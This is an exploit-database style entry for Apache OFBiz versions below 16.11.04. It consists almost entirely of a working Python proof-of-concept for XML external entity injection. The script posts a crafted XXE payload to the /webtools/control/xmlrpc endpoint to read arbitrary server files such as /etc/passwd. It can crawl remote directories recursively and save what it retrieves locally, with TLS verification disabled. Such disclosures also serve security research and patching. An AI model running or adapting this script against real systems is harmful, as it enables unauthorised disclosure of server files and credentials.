Apache OFBiz version 16.11.04 suffers from an XML external entity injection vulnerability.
a88b221f2ca2e7c605f98af851140409# Exploit Title: Apache OFBiz 16.11.04 - XML External Entity Injection
# Date: 2018-10-15
# Exploit Author: Jamie Parfet
# Vendor Homepage: https://ofbiz.apache.org/
# Software Link: https://archive.apache.org/dist/ofbiz/
# Version: < 16.11.04
# Tested on: Ubuntu 18.04.1
# CVE: N/A
#!/usr/bin/env python3
# *****************************************************
# Type: XML External Entity Injection (File disclosure)
# Target: Apache OFBiz < 16.11.04
# Author: Jamie Parfet
# *****************************************************
import sys
import os
import requests
import urllib3
import re
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
simple_payload = """<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://{}">]>
<methodCall><methodName>xXx
&disclose;xXx</methodName></methodCall>
"""
if len(sys.argv) <= 1:
print('[*] Apache OFBiz < 16.11.04 XXE')
print('[*] Use "%s -h" to display help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u",
metavar="https://localhost:8443",
dest="url",
required=True,
help="Target URL (required)",
action='store')
parser.add_argument("-f",
metavar="/etc/passwd",
dest="file",
help="Target file",
action='store')
parser.add_argument("-c",
metavar="/home/",
dest="crawl",
help="Target directory to start crawling from",
action='store')
parser.add_argument("-o",
metavar="~/local/output/directory/",
dest="output_dir",
help="Local directory that remote file will be saved to",
action='store')
args = parser.parse_args()
url = args.url if args.url else None
target_file = args.file if args.file else None
crawl_dir = args.crawl if args.crawl else None
output_dir = args.output_dir if args.output_dir else None
def check_url(url):
if '://' not in url:
print('[-] ERROR: Please include protocol in URL, such as https://{}'.format(url))
exit(0)
else:
return url
def request(url, payload):
response = requests.post(url + '/webtools/control/xmlrpc', data=payload, verify=False).text
parsed_response = re.sub(r'(.*xXx\n|xXx.*)', '', response)
return parsed_response
def crawl(crawl_dir):
payload = simple_payload.format(crawl_dir)
response = request(url, payload)
payload_404 = simple_payload.format(crawl_dir + "/xX404Xx")
response_404 = request(url, payload_404)
if 'No such file or directory' in response:
print("[-] ERROR - 404: {}".format(crawl_dir))
elif 'Permission denied' in response or 'but is not accessible' in response:
print("[-] ERROR - Permission: {}".format(crawl_dir))
elif 'Not a directory' in response_404:
print("[*] FILE: {}".format(crawl_dir))
else:
print("[*] DIR: {}".format(crawl_dir))
for f in response.splitlines():
full_path = (crawl_dir + '/' + f)
crawl(full_path)
def main(url=url, target_file=target_file, crawl_dir=crawl_dir, output_dir=output_dir):
if url:
check_url(url)
if crawl_dir:
crawl(crawl_dir)
else:
payload = simple_payload.format(target_file)
if output_dir:
if os.path.isdir(output_dir):
result = request(url, payload)
remote_file_name = re.sub('/', '--', target_file)
output_file = (output_dir + '/' + remote_file_name[2:])
file = open(output_file, 'w')
file.write(result)
file.close()
else:
print("[-] ERROR: {} is not a writeable directory".format(output_dir))
else:
result = request(url, payload)
print(result)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('\nKeyboard interrupt detected.')
print('Exiting...')
exit(0)